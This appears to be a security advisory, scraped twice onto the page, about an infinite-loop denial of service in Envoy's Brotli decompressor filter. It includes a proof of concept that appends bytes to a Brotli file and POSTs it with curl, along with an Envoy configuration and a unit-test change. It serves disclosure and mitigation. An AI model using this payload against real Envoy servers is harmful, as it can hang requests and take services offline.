Summary
Envoyproxy with a Brotli filter can get into an endless loop during decompression of Brotli data with extra input.
Details
The decompress
method will keep processing the data as long as there is available input.
Once the original compressed data (up to the extra input) is decoded, additional calls to the Brotli lib will not trigger an error and will keep the available data unchanged, and causing an infinite loop.
A reference to how this use case was handled in the brotli cli tool, can be found here:
https://github.com/google/brotli/blob/adbc354d23af714a557730cc0e15fc38909e4ef0/c/tools/brotli.c#L1253
PoC
To reproduce using an existing unit test BrotliDecompressorImplTest.CompressAndDecompress
|
accumulation_buffer.add(buffer); |
After the line:
accumulation_buffer.add(buffer);`
Add the line:
accumulation_buffer.add("ABCDE");
To reproduce with a running envoyproxy, use the configuration below that is set to decompress requests to localhost:10000 and forward them to httpbin.org.
Note that the configuration also includes a buffer filter as recommended here: https://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_filters/decompressor_filter
- Compress a file with brotli:
$ brotli file.json -o file.json.br
- Verify you are able to send the data in the file to the server.
$ curl -d "@file.json.br" -H "Content-Type: application/json" -H "Content-Encoding: br" -X POST localhost:10000/anything
- Append data to the end of the file.
echo "12345" >> file.json.br
- See that local decompression is failing on the new file.
brotli -d file.json.br
>>corrupt input [file.json.br]
- Try to send the new data to the server
curl -d "@file.json.br" -H "Content-Type: application/json" -H "Content-Encoding: br" -X POST localhost:10000/anything
- The curl request should now be stuck!
Envoyproxy Configuration:
static_resources:
listeners:
- address:
socket_address:
address: 0.0.0.0
port_value: 10000
filter_chains:
- filters:
- name: envoy.http_connection_manager
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
codec_type: AUTO
stat_prefix: ingress_http
route_config:
name: local_route
virtual_hosts:
- name: local_service
domains: ["*"]
routes:
- match: { prefix: "/" }
route:
cluster: httpbin_cluster
http_filters:
- name: envoy.filters.http.decompressor
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.decompressor.v3.Decompressor
decompressor_library:
name: brotli
typed_config:
"@type": type.googleapis.com/envoy.extensions.compression.brotli.decompressor.v3.Brotli
- name: envoy.filters.http.buffer
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.buffer.v3.Buffer
max_request_bytes: 5242880
- name: envoy.router
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router
clusters:
- name: httpbin_cluster
connect_timeout: 0.25s
type: STRICT_DNS
lb_policy: ROUND_ROBIN
load_assignment:
cluster_name: httpbin_cluster
endpoints:
- lb_endpoints:
- endpoint:
address:
socket_address:
address: httpbin.org
port_value: 80
Impact
The above can easily be used as a DOS/DDOS attack on any EnvoyProxy server that uses the Brotli filter.
Mitigation
Avoid use of brotli filter or update to version with fixes
Summary
Envoyproxy with a Brotli filter can get into an endless loop during decompression of Brotli data with extra input.
Details
The
decompress
method will keep processing the data as long as there is available input.Once the original compressed data (up to the extra input) is decoded, additional calls to the Brotli lib will not trigger an error and will keep the available data unchanged, and causing an infinite loop.
A reference to how this use case was handled in the brotli cli tool, can be found here:
https://github.com/google/brotli/blob/adbc354d23af714a557730cc0e15fc38909e4ef0/c/tools/brotli.c#L1253
PoC
To reproduce using an existing unit test
BrotliDecompressorImplTest.CompressAndDecompress
envoy/test/extensions/compression/brotli/decompressor/brotli_decompressor_impl_test.cc
Line 82 in 9b01aaf
After the line:
Add the line:
accumulation_buffer.add("ABCDE");
To reproduce with a running envoyproxy, use the configuration below that is set to decompress requests to localhost:10000 and forward them to httpbin.org.
Note that the configuration also includes a buffer filter as recommended here: https://www.envoyproxy.io/docs/envoy/latest/configuration/http/http_filters/decompressor_filter
$ brotli file.json -o file.json.br
$ curl -d "@file.json.br" -H "Content-Type: application/json" -H "Content-Encoding: br" -X POST localhost:10000/anything
echo "12345" >> file.json.br
curl -d "@file.json.br" -H "Content-Type: application/json" -H "Content-Encoding: br" -X POST localhost:10000/anything
Envoyproxy Configuration:
Impact
The above can easily be used as a DOS/DDOS attack on any EnvoyProxy server that uses the Brotli filter.
Mitigation
Avoid use of brotli filter or update to version with fixes